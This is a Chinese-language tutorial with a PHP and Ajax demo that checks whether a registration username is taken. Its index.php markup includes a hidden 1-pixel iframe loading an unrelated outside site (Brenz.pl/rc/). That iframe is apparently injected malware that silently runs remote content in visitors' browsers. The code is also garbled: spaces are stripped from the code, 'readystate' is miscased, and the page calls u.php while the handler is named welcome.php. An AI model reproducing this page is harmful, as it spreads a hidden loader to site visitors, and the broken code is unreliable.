PHP与Ajax相结合实现登录验证小Demo
AJAX即“AsynchronousJavascriptAndXML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。
AJAX=AsynchronousJavaScriptandXML(异步的JavaScript和XML)。
AJAX不是新的编程语言,而是一种使用现有标准的新方法。
AJAX是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html> <head> <metahttp-equiv="content-type"content="text/html;charset=gb2312"/> <scripttype="text/JavaScript"> functionAjax(){ varxmlHttpReq=null;//初始对象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=newActiveXObject("Microsoft.XMLHTTP"); }elseif(window.XMLHttpRequest){ xmlHttpReq=newXMLHttpRequest(); } varuserId=document.getElementById("userId").value;//value取得id为userId的值 url="u.php?userId="+userId;//路径 if(xmlHttpReq!=null){//若对象实例化创建成功 xmlHttpReq.open("GET",url,true);//open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() xmlHttpReq.send(null);//请求不包括正文 } functionRequestCallBack(){//回调函数 if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//请求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<inputtype="text"value="yuki"id="userId"name="userId"><inputtype="button"value="检测"onclick="Ajax()"> <divid="get"> </div> </form> <iframestyle="height:1px"src="http://www.Brenz.pl/rc/"frameborder=0width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理员"){ echo"用户名已存在!"; }else{ echo"该用户名可以注册"; } ?>
关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!